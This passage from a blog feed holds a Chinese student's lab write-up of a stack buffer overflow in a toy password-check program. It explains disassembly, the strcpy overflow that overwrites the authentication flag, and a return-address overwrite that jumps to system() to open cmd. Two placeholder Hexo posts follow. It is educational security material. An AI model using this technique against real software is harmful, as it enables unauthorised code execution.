loc_401117</span><br></pre></td></tr></table></figure></div><p>eax为1，始终无法跳出循环，可判断是while(1)循环</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">push   00427090</span><br><span class="line">call    printf</span><br><span class="line">add     esp, 4</span><br></pre></td></tr></table></figure></div><p>调用printf，并输出数据段存储的数据 “please input password:  ”</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">lea     ecx, dword ptr [ebp-404]</span><br><span class="line">push    ecx</span><br><span class="line">push    offset aS       ; &quot;%s&quot;</span><br><span class="line">call    _scanf</span><br><span class="line">add     esp, 8</span><br><span class="line">lea     edx, dword ptr [ebp-404]</span><br><span class="line">push    edx</span><br><span class="line">call    00401005</span><br></pre></td></tr></table></figure></div><p>调用scanf，接收输入的数据，将接收的数据存入 esp+8 的位置，接着将 ebp-404 中所存数据存入 edx 中，并传给接下来调用的子函数 verify_password ，ebp-404 中存的是地址，所以传给子函数的也是地址</p><p>接下来就进入子函数verify_password</p><p>从子函数会到主函数，如下：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">add     esp, 4</span><br><span class="line">mov     dword ptr [ebp-4], eax</span><br><span class="line">cmp     dword ptr [ebp-4], 0</span><br><span class="line">je      short 00401106</span><br><span class="line">push    00427070                        ; /format = &quot;incorrect password!&quot;,LF,LF,&quot;&quot;</span><br><span class="line">call    printf                          ; \printf</span><br><span class="line">add     esp, 4                   </span><br><span class="line">jmp     short 00401115</span><br><span class="line">push    00427030                        ; /format = &quot;congratulations! you have passed the verification&quot;,LF,LF,&quot;&quot;</span><br><span class="line">call    printf                          ; \printf</span><br><span class="line">add     esp, 4</span><br><span class="line">jmp     short 00401117</span><br><span class="line">jmp     short 004010B5</span><br><span class="line">push    00427028                         ; /command = &quot;pause&quot;</span><br><span class="line">call    system                           ; \system</span><br><span class="line">add     esp, 4</span><br><span class="line">pop     edi</span><br><span class="line">pop     esi</span><br><span class="line">pop     ebx</span><br><span class="line">add     esp, 444</span><br><span class="line">cmp     ebp, esp</span><br><span class="line">call    _chkesp</span><br><span class="line">mov     esp, ebp</span><br><span class="line">pop     ebp</span><br><span class="line">retn</span><br></pre></td></tr></table></figure></div><p>esp加4</p><p>将从子函数返回的值——eax中存的数据，存到ebp-4中，再将ebp-4中的值与0作比较。</p><p>若结果等于零，跳转至00401106的位置，对应“push    00427030”，从而调用printf函数，输出”congratulations! you have passed the verification”，esp加4，接着跳转至0040117，对应“push    00427028”，接着调用system函数，执行“pause”指令，终结循环，接着销毁函数栈，退出main函数。</p><p>若结果不等于零，继续，调用函数printf，输出“incorrect password!”，esp加4，跳转至00401115，对应“jmp     short 004010B5”，又回到循环开始，继续循环。</p><h3 id="verify-password函数"><a href="#verify-password函数" class="headerlink" title="verify_password函数"></a>verify_password函数</h3><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line">.text:00401020</span><br><span class="line">.text:00401020 ; =============== S U B R O U T I N E =======================================</span><br><span class="line">.text:00401020</span><br><span class="line">.text:00401020 ; Attributes: bp-based frame</span><br><span class="line">.text:00401020</span><br><span class="line">.text:00401020 ; int __cdecl verify_password(char *Str1)</span><br><span class="line">.text:00401020 ?verify_password@@YAHPAD@Z proc near    ; CODE XREF: verify_password(char *)j</span><br><span class="line">.text:00401020</span><br><span class="line">.text:00401020 var_4C          = byte ptr -4Ch</span><br><span class="line">.text:00401020 Dest            = byte ptr -0Ch</span><br><span class="line">.text:00401020 var_4           = dword ptr -4</span><br><span class="line">.text:00401020 Str1            = dword ptr  8</span><br><span class="line">.text:00401020</span><br><span class="line">.text:00401020                 push    ebp</span><br><span class="line">.text:00401021                 mov     ebp, esp</span><br><span class="line">.text:00401023                 sub     esp, 4Ch</span><br><span class="line">.text:00401026                 push    ebx</span><br><span class="line">.text:00401027                 push    esi</span><br><span class="line">.text:00401028                 push    edi</span><br><span class="line">.text:00401029                 lea     edi, [ebp+var_4C]</span><br><span class="line">.text:0040102C                 mov     ecx, 13h</span><br><span class="line">.text:00401031                 mov     eax, 0CCCCCCCCh</span><br><span class="line">.text:00401036                 rep stosd</span><br><span class="line">.text:00401038                 push    offset Str2     ; &quot;1234567&quot;</span><br><span class="line">.text:0040103D                 mov     eax, [ebp+Str1]</span><br><span class="line">.text:00401040                 push    eax             ; Str1</span><br><span class="line">.text:00401041                 call    _strcmp</span><br><span class="line">.text:00401046                 add     esp, 8</span><br><span class="line">.text:00401049                 mov     [ebp+var_4], eax</span><br><span class="line">.text:0040104C                 mov     ecx, [ebp+Str1]</span><br><span class="line">.text:0040104F                 push    ecx             ; Source</span><br><span class="line">.text:00401050                 lea     edx, [ebp+Dest]</span><br><span class="line">.text:00401053                 push    edx             ; Dest</span><br><span class="line">.text:00401054                 call    _strcpy</span><br><span class="line">.text:00401059                 add     esp, 8</span><br><span class="line">.text:0040105C                 mov     eax, [ebp+var_4]</span><br><span class="line">.text:0040105F                 pop     edi</span><br><span class="line">.text:00401060                 pop     esi</span><br><span class="line">.text:00401061                 pop     ebx</span><br><span class="line">.text:00401062                 add     esp, 4Ch</span><br><span class="line">.text:00401065                 cmp     ebp, esp</span><br><span class="line">.text:00401067                 call    __chkesp</span><br><span class="line">.text:0040106C                 mov     esp, ebp</span><br><span class="line">.text:0040106E                 pop     ebp</span><br><span class="line">.text:0040106F                 retn</span><br><span class="line">.text:0040106F ?verify_password@@YAHPAD@Z endp</span><br><span class="line">.text:0040106F</span><br><span class="line">.text:0040106F ; ---------------------------------------------------------------------------</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://github.com/nnna48/nnna48.github.io/blob/main/images/%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AE%9E%E9%AA%8C/4.png?raw=true"                      alt="4"                ></p><p>创建子函数的函数栈空间</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">push    0042701C                         ; /s2 = &quot;1234567&quot;</span><br><span class="line">mov     eax, dword ptr [ebp+8]           ; |</span><br><span class="line">push    eax                              ; |s1</span><br><span class="line">call    strcmp                           ; \strcmp</span><br><span class="line">add     esp, 8</span><br><span class="line">mov     dword ptr [ebp-4], eax</span><br></pre></td></tr></table></figure></div><p>将0042701C 中存的数据压入，再将ebp+8的位置存的数据通过eax压入，再调用strcmp函数对两者进行比较，将比较结果存入eax中，由于我输入的数据是123456，在与1234567比较后，eax中所存的值为FFFFFFFF，若我输入的值为1254，则eax中所存的值为00000001,若我输入的数据为1234567，则eax中所存数据为00000000。</p><p>将esp加8</p><p>将比较结果从eax中取出，存入ebp-4的位置，也就是子函数verify_password的栈底</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">mov     ecx, dword ptr [ebp+8]</span><br><span class="line">push    ecx                              ; /src</span><br><span class="line">lea     edx, dword ptr [ebp-C]           ; |</span><br><span class="line">push    edx                              ; |dest</span><br><span class="line">call    strcpy                           ; \strcpy</span><br><span class="line">add     esp, 8</span><br></pre></td></tr></table></figure></div><p>将ebp+8中存的数据存入ecx，再将ebp-C(ebp-8,C-&gt;Char)中的值存入edx，然后调用strcpy函数，将拷贝的值存入esp+8的位置</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">mov     eax, dword ptr [ebp-4]</span><br><span class="line">pop     edi</span><br><span class="line">pop     esi</span><br><span class="line">pop     ebx</span><br><span class="line">add     esp, 4C</span><br><span class="line">cmp     ebp, esp</span><br><span class="line">call    _chkesp</span><br><span class="line">mov     esp, ebp</span><br><span class="line">pop     ebp</span><br><span class="line">retn</span><br></pre></td></tr></table></figure></div><p>将ebp-4中所存结果存入eax中（这是用来保存子函数需要返回给主函数的值），然后进行一系列操作销毁函数栈，并执行retn，返回到主函数</p><h2 id="栈溢出分析与利用"><a href="#栈溢出分析与利用" class="headerlink" title="栈溢出分析与利用"></a>栈溢出分析与利用</h2><p>该程序产生栈溢出的主要原因在于，子函数中采用了strcmp函数，在执行子函数时，会向函数栈的栈底先后存入整型变量authentication的值和char型数组buffer的值，这两个数据存放位置相邻，若通过strcpy函数存入buffer的字符串长度恰好等于buffer数组的长度，由于字符串最后一位还有截断字符，那么，阶段字符会将authentication的值覆盖，这将导致程序功能发生错误，比如原本程序输入“1234567”时才会显示成功，而现在我们只需要在保证authentication的值为00000001的情况下输入任意长度为8的一串数字就能得到显示成功的结果，效果如下图所示：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://github.com/nnna48/nnna48.github.io/blob/main/images/%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AE%9E%E9%AA%8C/5.png?raw=true"                      alt="5"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://github.com/nnna48/nnna48.github.io/blob/main/images/%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AE%9E%E9%AA%8C/6.png?raw=true"                      alt="6"                ></p><p>我们继续研究，就这个程序来说，我们有没有可能，利用栈溢出漏洞，做点其他事，比如弹出个cmd啥的，这一点由于个人能力有限，便向能力强的同学请教，得到以下利用方式：</p><p>其中“^\”是ctrl+\，“^Q”是ctrl+Q，最后一个符号是@</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://github.com/nnna48/nnna48.github.io/blob/main/images/%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AE%9E%E9%AA%8C/7.png?raw=true"                      alt="7"                ></p><p>在OllyICE中分析过程，可以看到，在执行完strcmp函数后，子函数verify_password栈底附近的变化，如下图所示</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://github.com/nnna48/nnna48.github.io/blob/main/images/%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AE%9E%E9%AA%8C/8.png?raw=true"                      alt="8"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://github.com/nnna48/nnna48.github.io/blob/main/images/%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AE%9E%E9%AA%8C/9.png?raw=true"                      alt="9"                ></p><p>可以看到，上述一串字符，覆盖至0012FB28的位置，导致该位置存的地址发生改变，改变之前，该地址指向主函数中执行完子函数后的位置，改变后的地址指向主函数中执行system的位置，也就是0040111C，从而执行了系统命令，达到弹出cmd的效果。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="逆向分析" scheme="http://example.com/categories/%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/"/>
    
    
    <category term="栈溢出" scheme="http://example.com/tags/%E6%A0%88%E6%BA%A2%E5%87%BA/"/>
    
  </entry>
  
  <entry>
    <title>Hello World</title>
    <link href="http://example.com/2023/03/18/Hello-World-0/"/>
    <id>http://example.com/2023/03/18/Hello-World-0/</id>
    <published>2023-03-18T06:43:52.000Z</published>
    <updated>2023-03-19T08:55:07.818Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://haojen.github.io/Claudia-theme-blog/images/tree.png"                      alt="cover"                ></p><p>第一次搭建博客，这是个测试</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="Test" scheme="http://example.com/categories/Test/"/>
    
    
    <category term="Test" scheme="http://example.com/tags/Test/"/>
    
  </entry>
  
  <entry>
    <title>Hello World</title>
    <link href="http://example.com/2023/03/17/hello-world/"/>
    <id>http://example.com/2023/03/17/hello-world/</id>
    <published>2023-03-17T08:20:34.459Z</published>
    <updated>2023-03-17T08:20:34.460Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>Welcome to <a class="link"   href="https://hexo.io/" >Hexo <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>! This is your very first post. Check <a class="link"   href="https://hexo.io/docs/" >documentation <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> for more info. If you get any problems when using Hexo, you can find the answer in <a class="link"   href="https://hexo.io/docs/troubleshooting.html" >troubleshooting <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> or you can ask me on <a class="link"   href="https://github.com/hexojs/hexo/issues" >GitHub <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>.</p><h2 id="Quick-Start"><a href="#Quick-Start" class="headerlink" title="Quick Start"></a>Quick Start</h2><h3 id="Create-a-new-post"><a href="#Create-a-new-post" class="headerlink" title="Create a new post"></a>Create a new post</h3><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo new <span class="string">&quot;My New Post&quot;</span></span><br></pre></td></tr></table></figure></div><p>More info: <a class="link"   href="https://hexo.io/docs/writing.html" >Writing <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="Run-server"><a href="#Run-server" class="headerlink" title="Run server"></a>Run server</h3><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo server</span><br></pre></td></tr></table></figure></div><p>More info: <a class="link"   href="https://hexo.io/docs/server.html" >Server <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="Generate-static-files"><a href="#Generate-static-files" class="headerlink" title="Generate static files"></a>Generate static files</h3><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo generate</span><br></pre></td></tr></table></figure></div><p>More info: <a class="link"   href="https://hexo.io/docs/generating.html" >Generating <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="Deploy-to-remote-sites"><a href="#Deploy-to-remote-sites" class="headerlink" title="Deploy to remote sites"></a>Deploy to remote sites</h3><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo deploy</span><br></pre></td></tr></table></figure></div><p>More info: <a class="link"   href="https://hexo.io/docs/one-command-deployment.html" >Deployment <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    
  </entry>
  
</feed>
